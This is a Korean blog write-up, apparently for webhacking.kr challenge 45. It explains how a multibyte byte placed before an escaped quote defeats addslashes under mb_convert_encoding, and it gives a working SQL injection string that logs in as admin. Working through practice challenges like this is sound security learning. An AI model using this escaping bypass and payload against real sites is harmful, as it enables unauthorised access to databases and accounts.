[그림 1]

초기 화면이다,

제출 해보니 hi guest라는 출력과 함께

[그림 2]

get방식으로 전송되는 것이 보인다.

[그림 3]

소스코드를 확인해보자 mb_convert_encoding함수가 무슨 일을 수행하는지 알아보아야 될것 같다.(표준 사용법, 용도, 취약점 등)

 

$result['id'] == "admin" 이면 문제가 풀리는거 같다.

 

"select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"

이걸 잘 고려해서 Get방식으로 값을 넘겨주면 될 거같다.

(정말 몇시간이 걸렸다...)

 

https://dydgh499.tistory.com/32 를 참조하여 mb_convert_encoding 함수를 이해 하였다.

 

요지는 이 함수는 인코딩 할때 사용되는 함수이며 언어를 바꿔줄 때 사용된다.

멀티바이트를 사용하는 환경에서는 역슬래쉬 앞에 %a1~%fe의 값이 있으면 인코딩이 깨지면서 역슬래쉬를 덮어씌어 2바이트의 멀티바이트를 하나의 바이트 처럼 표현 되도록 하는 것이다! 

ex) addslashes 함수에서 사용된다면 

0x27 -> 0x5c27 -> 0xa15c27 -> 0x27

       '   ->  \'     ->   (\)'    -> '

 

함수 취약점을 이용한 ' 사용방법이다!

싱글 쿼터를 사용할 수 있으니 이제 내 입맛에 맞게 query문을 조작 할 수 있다.

 

"select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"

"select id from chall45 where id='' and pw=md5('  ')"

 

 

id=guest%fe%27%20or%20id%20like%20char(97,100,109,105,110)--%20&pw=guest

[그림 4]

'Challenge > webhacking.kr' 카테고리의 다른 글

Webhacking 47번 문제 풀이  (0) 2020.02.17
Webhacking 46번 문제 풀이  (0) 2020.02.17
Webhacking 44번 문제 풀이  (0) 2020.02.14
Webhacking 43번 문제 풀이  (0) 2020.02.13
Webhacking 42번 문제 풀이  (0) 2020.02.13

+ Recent posts